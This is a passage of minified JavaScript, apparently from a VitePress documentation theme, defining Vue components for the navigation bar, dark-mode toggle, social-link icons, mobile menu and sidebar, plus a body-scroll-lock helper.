24"},Ps=c("path",{d:"M12.1,22c-0.3,0-0.6,0-0.9,0c-5.5-0.5-9.5-5.4-9-10.9c0.4-4.8,4.2-8.6,9-9c0.4,0,0.8,0.2,1,0.5c0.2,0.3,0.2,0.8-0.1,1.1c-2,2.7-1.4,6.4,1.3,8.4c2.1,1.6,5,1.6,7.1,0c0.3-0.2,0.7-0.3,1.1-0.1c0.3,0.2,0.5,0.6,0.5,1c-0.2,2.7-1.5,5.1-3.6,6.8C16.6,21.2,14.4,22,12.1,22zM9.3,4.4c-2.9,1-5,3.6-5.2,6.8c-0.4,4.4,2.8,8.3,7.2,8.7c2.1,0.2,4.2-0.4,5.8-1.8c1.1-0.9,1.9-2.1,2.4-3.4c-2.5,0.9-5.3,0.5-7.5-1.1C9.2,11.4,8.1,7.7,9.3,4.4z"},null,-1),Vs=[Ps];function Ss(e,t){return a(),l("svg",ws,Vs)}var Ls=_(xs,[["render",Ss]]);const Cs=f({__name:"VPSwitchAppearance",setup(e){const t=typeof localStorage!="undefined"?n():()=>{};function n(){const s=window.matchMedia("(prefers-color-scheme: dark)"),o=document.documentElement.classList;let i=localStorage.getItem(Ie)||"auto",u=i==="auto"?s.matches:i==="dark";s.onchange=b=>{i==="auto"&&m(u=b.matches)};function v(){m(u=!u),i=u?s.matches?"auto":"dark":s.matches?"light":"auto",localStorage.setItem(Ie,i)}function m(b){o[b?"add":"remove"]("dark")}return v}return(s,o)=>(a(),y(fs,{class:"VPSwitchAppearance","aria-label":"toggle dark mode",onClick:r(t)},{default:p(()=>[h(bs,{class:"sun"}),h(Ls,{class:"moon"})]),_:1},8,["onClick"]))}});var we=_(Cs,[["__scopeId","data-v-717ec984"]]);const Ms={key:0,class:"VPNavBarAppearance"},Is=f({__name:"VPNavBarAppearance",setup(e){const{site:t}=$();return(n,s)=>r(t).appearance?(a(),l("div",Ms,[h(we)])):g("",!0)}});var As=_(Is,[["__scopeId","data-v-2589cd04"]]);const Bs={},Ns={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},Es=c("path",{d:"M20.222 0c1.406 0 2.54 1.137 2.607 2.475V24l-2.677-2.273-1.47-1.338-1.604-1.398.67 2.205H3.71c-1.402 0-2.54-1.065-2.54-2.476V2.48C1.17 1.142 2.31.003 3.715.003h16.5L20.222 0zm-6.118 5.683h-.03l-.202.2c2.073.6 3.076 1.537 3.076 1.537-1.336-.668-2.54-1.002-3.744-1.137-.87-.135-1.74-.064-2.475 0h-.2c-.47 0-1.47.2-2.81.735-.467.203-.735.336-.735.336s1.002-1.002 3.21-1.537l-.135-.135s-1.672-.064-3.477 1.27c0 0-1.805 3.144-1.805 7.02 0 0 1 1.74 3.743 1.806 0 0 .4-.533.805-1.002-1.54-.468-2.14-1.404-2.14-1.404s.134.066.335.2h.06c.03 0 .044.015.06.03v.006c.016.016.03.03.06.03.33.136.66.27.93.4.466.202 1.065.403 1.8.536.93.135 1.996.2 3.21 0 .6-.135 1.2-.267 1.8-.535.39-.2.87-.4 1.397-.737 0 0-.6.936-2.205 1.404.33.466.795 1 .795 1 2.744-.06 3.81-1.8 3.87-1.726 0-3.87-1.815-7.02-1.815-7.02-1.635-1.214-3.165-1.26-3.435-1.26l.056-.02zm.168 4.413c.703 0 1.27.6 1.27 1.335 0 .74-.57 1.34-1.27 1.34-.7 0-1.27-.6-1.27-1.334.002-.74.573-1.338 1.27-1.338zm-4.543 0c.7 0 1.266.6 1.266 1.335 0 .74-.57 1.34-1.27 1.34-.7 0-1.27-.6-1.27-1.334 0-.74.57-1.338 1.27-1.338z"},null,-1),Ts=[Es];function Hs(e,t){return a(),l("svg",Ns,Ts)}var zs=_(Bs,[["render",Hs]]);const Ds={},Fs={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},Rs=c("path",{d:"M24 12.073c0-6.627-5.373-12-12-12s-12 5.373-12 12c0 5.99 4.388 10.954 10.125 11.854v-8.385H7.078v-3.47h3.047V9.43c0-3.007 1.792-4.669 4.533-4.669 1.312 0 2.686.235 2.686.235v2.953H15.83c-1.491 0-1.956.925-1.956 1.874v2.25h3.328l-.532 3.47h-2.796v8.385C19.612 23.027 24 18.062 24 12.073z"},null,-1),Os=[Rs];function Gs(e,t){return a(),l("svg",Fs,Os)}var Us=_(Ds,[["render",Gs]]);const qs={},js={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},Ws=c("path",{d:"M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12"},null,-1),Ks=[Ws];function Ys(e,t){return a(),l("svg",js,Ks)}var Qs=_(qs,[["render",Ys]]);const Xs={},Js={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},Zs=c("path",{d:"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85 3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433c-1.144 0-2.063-.926-2.063-2.065 0-1.138.92-2.063 2.063-2.063 1.14 0 2.064.925 2.064 2.063 0 1.139-.925 2.065-2.064 2.065zm1.782 13.019H3.555V9h3.564v11.452zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0h.003z"},null,-1),eo=[Zs];function to(e,t){return a(),l("svg",Js,eo)}var no=_(Xs,[["render",to]]);const so={},oo={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},ao=c("path",{d:"M12 0C8.74 0 8.333.015 7.053.072 5.775.132 4.905.333 4.14.63c-.789.306-1.459.717-2.126 1.384S.935 3.35.63 4.14C.333 4.905.131 5.775.072 7.053.012 8.333 0 8.74 0 12s.015 3.667.072 4.947c.06 1.277.261 2.148.558 2.913.306.788.717 1.459 1.384 2.126.667.666 1.336 1.079 2.126 1.384.766.296 1.636.499 2.913.558C8.333 23.988 8.74 24 12 24s3.667-.015 4.947-.072c1.277-.06 2.148-.262 2.913-.558.788-.306 1.459-.718 2.126-1.384.666-.667 1.079-1.335 1.384-2.126.296-.765.499-1.636.558-2.913.06-1.28.072-1.687.072-4.947s-.015-3.667-.072-4.947c-.06-1.277-.262-2.149-.558-2.913-.306-.789-.718-1.459-1.384-2.126C21.319 1.347 20.651.935 19.86.63c-.765-.297-1.636-.499-2.913-.558C15.667.012 15.26 0 12 0zm0 2.16c3.203 0 3.585.016 4.85.071 1.17.055 1.805.249 2.227.415.562.217.96.477 1.382.896.419.42.679.819.896 1.381.164.422.36 1.057.413 2.227.057 1.266.07 1.646.07 4.85s-.015 3.585-.074 4.85c-.061 1.17-.256 1.805-.421 2.227-.224.562-.479.96-.899 1.382-.419.419-.824.679-1.38.896-.42.164-1.065.36-2.235.413-1.274.057-1.649.07-4.859.07-3.211 0-3.586-.015-4.859-.074-1.171-.061-1.816-.256-2.236-.421-.569-.224-.96-.479-1.379-.899-.421-.419-.69-.824-.9-1.38-.165-.42-.359-1.065-.42-2.235-.045-1.26-.061-1.649-.061-4.844 0-3.196.016-3.586.061-4.861.061-1.17.255-1.814.42-2.234.21-.57.479-.96.9-1.381.419-.419.81-.689 1.379-.898.42-.166 1.051-.361 2.221-.421 1.275-.045 1.65-.06 4.859-.06l.045.03zm0 3.678c-3.405 0-6.162 2.76-6.162 6.162 0 3.405 2.76 6.162 6.162 6.162 3.405 0 6.162-2.76 6.162-6.162 0-3.405-2.76-6.162-6.162-6.162zM12 16c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4zm7.846-10.405c0 .795-.646 1.44-1.44 1.44-.795 0-1.44-.646-1.44-1.44 0-.794.646-1.439 1.44-1.439.793-.001 1.44.645 1.44 1.439z"},null,-1),io=[ao];function ro(e,t){return a(),l("svg",oo,io)}var co=_(so,[["render",ro]]);const lo={},uo={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},_o=c("path",{d:"M5.042 15.165a2.528 2.528 0 0 1-2.52 2.523A2.528 2.528 0 0 1 0 15.165a2.527 2.527 0 0 1 2.522-2.52h2.52v2.52zM6.313 15.165a2.527 2.527 0 0 1 2.521-2.52 2.527 2.527 0 0 1 2.521 2.52v6.313A2.528 2.528 0 0 1 8.834 24a2.528 2.528 0 0 1-2.521-2.522v-6.313zM8.834 5.042a2.528 2.528 0 0 1-2.521-2.52A2.528 2.528 0 0 1 8.834 0a2.528 2.528 0 0 1 2.521 2.522v2.52H8.834zM8.834 6.313a2.528 2.528 0 0 1 2.521 2.521 2.528 2.528 0 0 1-2.521 2.521H2.522A2.528 2.528 0 0 1 0 8.834a2.528 2.528 0 0 1 2.522-2.521h6.312zM18.956 8.834a2.528 2.528 0 0 1 2.522-2.521A2.528 2.528 0 0 1 24 8.834a2.528 2.528 0 0 1-2.522 2.521h-2.522V8.834zM17.688 8.834a2.528 2.528 0 0 1-2.523 2.521 2.527 2.527 0 0 1-2.52-2.521V2.522A2.527 2.527 0 0 1 15.165 0a2.528 2.528 0 0 1 2.523 2.522v6.312zM15.165 18.956a2.528 2.528 0 0 1 2.523 2.522A2.528 2.528 0 0 1 15.165 24a2.527 2.527 0 0 1-2.52-2.522v-2.522h2.52zM15.165 17.688a2.527 2.527 0 0 1-2.52-2.523 2.526 2.526 0 0 1 2.52-2.52h6.313A2.527 2.527 0 0 1 24 15.165a2.528 2.528 0 0 1-2.522 2.523h-6.313z"},null,-1),vo=[_o];function po(e,t){return a(),l("svg",uo,vo)}var ho=_(lo,[["render",po]]);const fo={},mo={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},go=c("path",{d:"M23.953 4.57a10 10 0 01-2.825.775 4.958 4.958 0 002.163-2.723c-.951.555-2.005.959-3.127 1.184a4.92 4.92 0 00-8.384 4.482C7.69 8.095 4.067 6.13 1.64 3.162a4.822 4.822 0 00-.666 2.475c0 1.71.87 3.213 2.188 4.096a4.904 4.904 0 01-2.228-.616v.06a4.923 4.923 0 003.946 4.827 4.996 4.996 0 01-2.212.085 4.936 4.936 0 004.604 3.417 9.867 9.867 0 01-6.102 2.105c-.39 0-.779-.023-1.17-.067a13.995 13.995 0 007.557 2.209c9.053 0 13.998-7.496 13.998-13.985 0-.21 0-.42-.015-.63A9.935 9.935 0 0024 4.59z"},null,-1),yo=[go];function ko(e,t){return a(),l("svg",mo,yo)}var $o=_(fo,[["render",ko]]);const bo={},xo={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},wo=c("path",{d:"M23.498 6.186a3.016 3.016 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.017 3.017 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.016 3.016 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.015 3.015 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814zM9.545 15.568V8.432L15.818 12l-6.273 3.568z"},null,-1),Po=[wo];function Vo(e,t){return a(),l("svg",xo,Po)}var So=_(bo,[["render",Vo]]);const Lo=["href","title"],Co={class:"visually-hidden"},Mo=f({__name:"VPSocialLink",props:{icon:null,link:null},setup(e){const t={discord:zs,facebook:Us,github:Qs,instagram:co,linkedin:no,slack:ho,twitter:$o,youtube:So};return(n,s)=>(a(),l("a",{class:"VPSocialLink",href:e.link,title:e.icon,target:"_blank",rel:"noreferrer"},[(a(),y(le(t[e.icon]),{class:"icon"})),c("span",Co,k(e.icon),1)],8,Lo))}});var Io=_(Mo,[["__scopeId","data-v-3bb616a6"]]);const Ao={class:"VPSocialLinks"},Bo=f({__name:"VPSocialLinks",props:{links:null},setup(e){return(t,n)=>(a(),l("div",Ao,[(a(!0),l(x,null,M(e.links,({link:s,icon:o})=>(a(),y(Io,{key:s,icon:o,link:s},null,8,["icon","link"]))),128))]))}});var Pe=_(Bo,[["__scopeId","data-v-051a1a46"]]);const No=f({__name:"VPNavBarSocialLinks",setup(e){const{theme:t}=$();return(n,s)=>r(t).socialLinks?(a(),y(Pe,{key:0,class:"VPNavBarSocialLinks",links:r(t).socialLinks},null,8,["links"])):g("",!0)}});var Eo=_(No,[["__scopeId","data-v-58964a34"]]);const To=e=>(E("data-v-b7f1a1ba"),e=e(),T(),e),Ho={key:0,class:"group"},zo={class:"trans-title"},Do={key:1,class:"group"},Fo={class:"item appearance"},Ro=To(()=>c("p",{class:"label"},"Appearance",-1)),Oo={class:"appearance-action"},Go={key:2,class:"group"},Uo={class:"item social-links"},qo=f({__name:"VPNavBarExtra",setup(e){const{site:t,theme:n}=$();return(s,o)=>(a(),y(xe,{class:"VPNavBarExtra",label:"extra navigation"},{default:p(()=>[r(n).localeLinks?(a(),l("div",Ho,[c("p",zo,k(r(n).localeLinks.text),1),(a(!0),l(x,null,M(r(n).localeLinks.items,i=>(a(),y(de,{key:i.link,item:i},null,8,["item"]))),128))])):g("",!0),r(t).appearance?(a(),l("div",Do,[c("div",Fo,[Ro,c("div",Oo,[h(we)])])])):g("",!0),r(n).socialLinks?(a(),l("div",Go,[c("div",Uo,[h(Pe,{class:"social-links-list",links:r(n).socialLinks},null,8,["links"])])])):g("",!0)]),_:1}))}});var jo=_(qo,[["__scopeId","data-v-b7f1a1ba"]]);const Wo=e=>(E("data-v-68ea8aec"),e=e(),T(),e),Ko=["aria-expanded"],Yo=Wo(()=>c("span",{class:"container"},[c("span",{class:"top"}),c("span",{class:"middle"}),c("span",{class:"bottom"})],-1)),Qo=[Yo],Xo=f({__name:"VPNavBarHamburger",props:{active:{type:Boolean}},emits:["click"],setup(e){return(t,n)=>(a(),l("button",{type:"button",class:V(["VPNavBarHamburger",{active:e.active}]),"aria-label":"mobile navigation","aria-expanded":e.active,"aria-controls":"VPNavScreen",onClick:n[0]||(n[0]=s=>t.$emit("click"))},Qo,10,Ko))}});var Jo=_(Xo,[["__scopeId","data-v-68ea8aec"]]);const Zo={class:"container"},ea={class:"content"},ta=f({__name:"VPNavBar",props:{isScreenOpen:{type:Boolean}},emits:["toggle-screen"],setup(e){const{hasSidebar:t}=H();return(n,s)=>(a(),l("div",{class:V(["VPNavBar",{"has-sidebar":r(t)}])},[c("div",Zo,[h(Zt,null,{"nav-bar-title-before":p(()=>[d(n.$slots,"nav-bar-title-before",{},void 0,!0)]),"nav-bar-title-after":p(()=>[d(n.$slots,"nav-bar-title-after",{},void 0,!0)]),_:3}),c("div",ea,[d(n.$slots,"nav-bar-content-before",{},void 0,!0),h(cn,{class:"search"}),h(es,{class:"menu"}),h(us,{class:"translations"}),h(As,{class:"appearance"}),h(Eo,{class:"social-links"}),h(jo,{class:"extra"}),d(n.$slots,"nav-bar-content-after",{},void 0,!0),h(Jo,{class:"hamburger",active:e.isScreenOpen,onClick:s[0]||(s[0]=o=>n.$emit("toggle-screen"))},null,8,["active"])])])],2))}});var na=_(ta,[["__scopeId","data-v-982d6df6"]]);function sa(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t1),G=[],se=!1,Se=-1,j=void 0,F=void 0,W=void 0,nt=function(t){return G.some(function(n){return!!(n.options.allowTouchMove&&n.options.allowTouchMove(t))})},oe=function(t){var n=t||window.event;return nt(n.target)||n.touches.length>1?!0:(n.preventDefault&&n.preventDefault(),!1)},oa=function(t){if(W===void 0){var n=!!t&&t.reserveScrollBarGap===!0,s=window.innerWidth-document.documentElement.clientWidth;if(n&&s>0){var o=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"),10);W=document.body.style.paddingRight,document.body.style.paddingRight=o+s+"px"}}j===void 0&&(j=document.body.style.overflow,document.body.style.overflow="hidden")},aa=function(){W!==void 0&&(document.body.style.paddingRight=W,W=void 0),j!==void 0&&(document.body.style.overflow=j,j=void 0)},ia=function(){return window.requestAnimationFrame(function(){if(F===void 0){F={position:document.body.style.position,top:document.body.style.top,left:document.body.style.left};var t=window,n=t.scrollY,s=t.scrollX,o=t.innerHeight;document.body.style.position="fixed",document.body.style.top=-n,document.body.style.left=-s,setTimeout(function(){return window.requestAnimationFrame(function(){var i=o-window.innerHeight;i&&n>=o&&(document.body.style.top=-(n+i))})},300)}})},ra=function(){if(F!==void 0){var t=-parseInt(document.body.style.top,10),n=-parseInt(document.body.style.left,10);document.body.style.position=F.position,document.body.style.top=F.top,document.body.style.left=F.left,window.scrollTo(n,t),F=void 0}},ca=function(t){return t?t.scrollHeight-t.scrollTop<=t.clientHeight:!1},la=function(t,n){var s=t.targetTouches[0].clientY-Se;return nt(t.target)?!1:n&&n.scrollTop===0&&s>0||ca(n)&&s<0?oe(t):(t.stopPropagation(),!0)},ua=function(t,n){if(!t){console.error("disableBodyScroll unsuccessful - targetElement must be provided when calling disableBodyScroll on IOS devices.");return}if(!G.some(function(o){return o.targetElement===t})){var s={targetElement:t,options:n||{}};G=[].concat(sa(G),[s]),ne?ia():oa(n),ne&&(t.ontouchstart=function(o){o.targetTouches.length===1&&(Se=o.targetTouches[0].clientY)},t.ontouchmove=function(o){o.targetTouches.length===1&&la(o,t)},se||(document.addEventListener("touchmove",oe,Ve?{passive:!1}:void 0),se=!0))}},da=function(){ne&&(G.forEach(function(t){t.targetElement.ontouchstart=null,t.targetElement.ontouchmove=null}),se&&(document.removeEventListener("touchmove",oe,Ve?{passive:!1}:void 0),se=!1),Se=-1),ne?ra():aa(),G=[]};const _a=f({__name:"VPNavScreenMenuLink",props:{text:null,link:null},setup(e){const t=Y("close-screen");return(n,s)=>(a(),y(U,{class:"VPNavScreenMenuLink",href:e.link,onClick:r(t)},{default:p(()=>[N(k(e.text),1)]),_:1},8,["href","onClick"]))}});var va=_(_a,[["__scopeId","data-v-167fa33a"]]);const pa={},ha={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},fa=c("path",{d:"M18.9,10.9h-6v-6c0-0.6-0.4-1-1-1s-1,0.4-1,1v6h-6c-0.6,0-1,0.4-1,1s0.4,1,1,1h6v6c0,0.6,0.4,1,1,1s1-0.4,1-1v-6h6c0.6,0,1-0.4,1-1S19.5,10.9,18.9,10.9z"},null,-1),ma=[fa];function ga(e,t){return a(),l("svg",ha,ma)}var ya=_(pa,[["render",ga]]);const ka=f({__name:"VPNavScreenMenuGroupLink",props:{text:null,link:null},setup(e){const t=Y("close-screen");return(n,s)=>(a(),y(U,{class:"VPNavScreenMenuGroupLink",href:e.link,onClick:r(t)},{default:p(()=>[N(k(e.text),1)]),_:1},8,["href","onClick"]))}});var st=_(ka,[["__scopeId","data-v-833bcae2"]]);const $a={class:"VPNavScreenMenuGroupSection"},ba={key:0,class:"title"},xa=f({__name:"VPNavScreenMenuGroupSection",props:{text:null,items:null},setup(e){return(t,n)=>(a(),l("div",$a,[e.text?(a(),l("p",ba,k(e.text),1)):g("",!0),(a(!0),l(x,null,M(e.items,s=>(a(),y(st,{key:s.text,text:s.text,link:s.link},null,8,["text","link"]))),128))]))}});var wa=_(xa,[["__scopeId","data-v-2a08c5c4"]]);const Pa=["aria-controls","aria-expanded"],Va={class:"button-text"},Sa=["id"],La={key:1,class:"group"},Ca=f({__name:"VPNavScreenMenuGroup",props:{text:null,items:null},setup(e){const t=e,n=S(!1),s=w(()=>`NavScreenGroup-${t.text.replace(" ","-").toLowerCase()}`);function o(){n.value=!n.value}return(i,u)=>(a(),l("div",{class:V(["VPNavScreenMenuGroup",{open:n.value}])},[c("button",{class:"button","aria-controls":r(s),"aria-expanded":n.value,onClick:o},[c("span",Va,k(e.text),1),h(ya,{class:"button-icon"})],8,Pa),c("div",{id:r(s),class:"items"},[(a(!0),l(x,null,M(e.items,v=>(a(),l(x,{key:v.text},["link"in v?(a(),l("div",{key:v.text,class:"item"},[h(st,{text:v.text,link:v.link},null,8,["text","link"])])):(a(),l("div",La,[h(wa,{text:v.text,items:v.items},null,8,["text","items"])]))],64))),128))],8,Sa)],2))}});var Ma=_(Ca,[["__scopeId","data-v-24c8008c"]]);const Ia={key:0,class:"VPNavScreenMenu"},Aa=f({__name:"VPNavScreenMenu",setup(e){const{theme:t}=$();return(n,s)=>r(t).nav?(a(),l("nav",Ia,[(a(!0),l(x,null,M(r(t).nav,o=>(a(),l(x,{key:o.text},["link"in o?(a(),y(va,{key:0,text:o.text,link:o.link},null,8,["text","link"])):(a(),y(Ma,{key:1,text:o.text||"",items:o.items},null,8,["text","items"]))],64))),128))])):g("",!0)}});const Ba=e=>(E("data-v-97b7dfba"),e=e(),T(),e),Na={key:0,class:"VPNavScreenAppearance"},Ea=Ba(()=>c("p",{class:"text"},"Appearance",-1)),Ta=f({__name:"VPNavScreenAppearance",setup(e){const{site:t}=$();return(n,s)=>r(t).appearance?(a(),l("div",Na,[Ea,h(we)])):g("",!0)}});var Ha=_(Ta,[["__scopeId","data-v-97b7dfba"]]);const za={class:"list"},Da=["href"],Fa=f({__name:"VPNavScreenTranslations",setup(e){const{theme:t}=$(),n=S(!1);function s(){n.value=!n.value}return(o,i)=>r(t).localeLinks?(a(),l("div",{key:0,class:V(["VPNavScreenTranslations",{open:n.value}])},[c("button",{class:"title",onClick:s},[h(tt,{class:"icon lang"}),N(" "+k(r(t).localeLinks.text)+" ",1),h(et,{class:"icon chevron"})]),c("ul",za,[(a(!0),l(x,null,M(r(t).localeLinks.items,u=>(a(),l("li",{key:u.link,class:"item"},[c("a",{class:"link",href:u.link},k(u.text),9,Da)]))),128))])],2)):g("",!0)}});var Ra=_(Fa,[["__scopeId","data-v-9f58229e"]]);const Oa=f({__name:"VPNavScreenSocialLinks",setup(e){const{theme:t}=$();return(n,s)=>r(t).socialLinks?(a(),y(Pe,{key:0,class:"VPNavScreenSocialLinks",links:r(t).socialLinks},null,8,["links"])):g("",!0)}});const Ga={class:"container"},Ua=f({__name:"VPNavScreen",props:{open:{type:Boolean}},setup(e){const t=S(null);function n(){ua(t.value,{reserveScrollBarGap:!0})}function s(){da()}return(o,i)=>(a(),y(Oe,{name:"fade",onEnter:n,onAfterLeave:s},{default:p(()=>[e.open?(a(),l("div",{key:0,class:"VPNavScreen",ref_key:"screen",ref:t},[c("div",Ga,[d(o.$slots,"nav-screen-content-before",{},void 0,!0),h(Aa,{class:"menu"}),h(Ra,{class:"translations"}),h(Ha,{class:"appearance"}),h(Oa,{class:"social-links"}),d(o.$slots,"nav-screen-content-after",{},void 0,!0)])],512)):g("",!0)]),_:3}))}});var qa=_(Ua,[["__scopeId","data-v-1b68b47a"]]);const ja=f({__name:"VPNav",setup(e){const{isScreenOpen:t,closeScreen:n,toggleScreen:s}=Wt(),{hasSidebar:o}=H();return Ge("close-screen",n),(i,u)=>(a(),l("header",{class:V(["VPNav",{"no-sidebar":!r(o)}])},[h(na,{"is-screen-open":r(t),onToggleScreen:r(s)},{"nav-bar-title-before":p(()=>[d(i.$slots,"nav-bar-title-before",{},void 0,!0)]),"nav-bar-title-after":p(()=>[d(i.$slots,"nav-bar-title-after",{},void 0,!0)]),"nav-bar-content-before":p(()=>[d(i.$slots,"nav-bar-content-before",{},void 0,!0)]),"nav-bar-content-after":p(()=>[d(i.$slots,"nav-bar-content-after",{},void 0,!0)]),_:3},8,["is-screen-open","onToggleScreen"]),h(qa,{open:r(t)},{"nav-screen-content-before":p(()=>[d(i.$slots,"nav-screen-content-before",{},void 0,!0)]),"nav-screen-content-after":p(()=>[d(i.$slots,"nav-screen-content-after",{},void 0,!0)]),_:3},8,["open"])],2))}});var Wa=_(ja,[["__scopeId","data-v-4bf2ac66"]]);const Ka={},Ya={xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",focusable:"false",viewBox:"0 0 24 24"},Qa=c("path",{d:"M17,11H3c-0.6,0-1-0.4-1-1s0.4-1,1-1h14c0.6,0,1,0.4,1,1S17.6,11,17,11z"},null,-1),Xa=c("path",{d:"M21,7H3C2.4,7,2,6.6,2,6s0.4-1,1-1h18c0.6,0,1,0.4,1,1S21.6,7,21,7z"},null,-1),Ja=c("path",{d:"M21,15H3c-0.6,0-1-0.4-1-1s0.4-1,1-1h18c0.6,0,1,0.4,1,1S21.6,15,21,15z"},null,-1),Za=c("path",{d:"M17,19H3c-0.6,0-1-0.4-1-1s0.4-1,1-1h14c0.6,0,1,0.4,1,1S17.6,19,17,19z"},null,-1),ei=[Qa,Xa,Ja,Za];function ti(e,t){return a(),l("svg",Ya,ei)}var ni=_(Ka,[["render",ti]]);const si=e=>(E("data-v-3ff63204"),e=e(),T(),e),oi={key:0,class:"VPLocalNav"},ai=["aria-expanded"],ii=si(()=>c("span",{class:"menu-text"},"Menu",-1)),ri=f({__name:"VPLocalNav",props:{open:{type:Boolean}},emits:["open-menu"],setup(e){const{hasSidebar:t}=H();function n(){window.scrollTo({top:0,left:0,behavior:"smooth"})}return(s,o)=>r(t)?(a(),l("div",oi,[c("button",{class:"menu","aria-expanded":e.open,"aria-controls":"VPSidebarNav",onClick:o[0]||(o[0]=i=>s.$emit("open-menu"))},[h(ni,{class:"menu-icon"}),ii],8,ai),c("a",{class:"top-link",href:"#",onClick:n}," Return to top ")])):g("",!0)}});var ci=_(ri,[["__scopeId","data-v-3ff63204"]]);const li={},ui={version:"1.1",xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},di=c("path",{d:"M19,2H5C3.3,2,2,3.3,2,5v14c0,1.7,1.3,3,3,3h14c1.7,0,3-1.3,3-3V5C22,3.3,20.7,2,19,2z M20,19c0,0.6-0.4,1-1,1H5c-0.6,0-1-0.4-1-1V5c0-0.6,0.4-1,1-1h14c0.6,0,1,0.4,1,1V19z"},null,-1),_i=c("path",{d:"M16,11h-3V8c0-0.6-0.4-1-1-1s-1,0.4-1,1v3H8c-0.6,0-1,0.4-1,1s0.4,1,1,1h3v3c0,0.6,0.4,1,1,1s1-0.4,1-1v-3h3c0.6,0,1-0.4,1-1S16.6,11,16,11z"},null,-1),vi=[di,_i];function pi(e,t){return a(),l("svg",ui,vi)}var hi=_(li,[["render",pi]]);const fi={},mi={xmlns:"http://www.w3.org/2000/svg","xmlns:xlink":"http://www.w3.org/1999/xlink",viewBox:"0 0 24 24"},gi=c("path",{d:"M19,2H5C3.3,2,2,3.3,2,5v14c0,1.7,1.3,3,3,3h14c1.7,0,3-1.3,3-3V5C22,3.3,20.7,2,19,2zM20,19c0,0.6-0.4,1-1,1H5c-0.6,0-1-0.4-1-1V5c0-0.6,0.4-1,1-1h14c0.6,0,1,0.4,1,1V19z"},null,-1),yi=c("path",{d:"M16,11H8c-0.6,0-1,0.4-1,1s0.4,1,1,1h8c0.6,0,1-0.4,1-1S16.6,11,16,11z"},null,-1),ki=[gi,yi];function $i(e,t){return a(),l("svg",mi,ki)}var bi=_(fi,[["render",$i]]);const xi={class:"link-text"},wi=f({__name:"VPSidebarLink",props:{item:null},setup(e){const{page:t}=$(),n=Y("close-sidebar");return(s,o)=>(a(),y(U,{class:V({active:r(J)(r(t).relativePath,e.item.link)}),href:e.item.link,onClick:r(n)},{default:p(()=>[c("span",xi,k(e.item.text),1)]),_:1},8,["class","href","onClick"]))}});var Pi=_(wi,[["__scopeId","data-v-04bfdef4"]]);const Vi=["role"],Si={class:"title-text"},Li={class:"action"},Ci={class:"items"},Mi=f({__name:"VPSidebarGroup",props:{text:null,items:null,collapsible:{type:Boolean},collapsed:{type:Boolean}},setup(e){const t=e,n=S(!1);re(()=>{n.value=!!(t.collapsible&&t.collapsed)});function s(){t.collapsible&&(n.value=!n.value)}return(o,i)=>(a(),l("section",{class:V(["VPSidebarGroup",{collapsible:e.collapsible,collapsed:n.value}])},[e.text?(a(),l("div",{key:0,class:"title",role:e.collapsible?"button":void 0,onClick:s},[c("h2",Si,k(e.text),1),c("div",Li,[h(bi,{class:"icon minus"}),h(hi,{class:"icon plus"})])],8,Vi)):g("",!0),c("div",Ci,[(a(!0),l(x,null,M(e.items,u=>(a(),y(Pi,{key:u.link,item:u},null,8,["item"]))),128))])],2))}});var Ii=_(Mi,[["__scopeId","data-v-884e0c60"]]);const Ai=e=>(E("data-v-ee4c385a"),e=e(),T(),e),Bi={class:"nav",id:"VPSidebarNav","aria-labelledby":"sidebar-aria-label",tabindex:"-1"},Ni=Ai(()=>c("span",{class:"visually-hidden",id:"sidebar-aria-label"}," Sidebar Navigation ",-1)),Ei=f({__name:"VPSidebar",props:{open:{type:Boolean}},setup(e){const t=e,{sidebar:n,hasSidebar:s}=H();let o=S(null);return ut(async()=>{var i;t.open&&(await 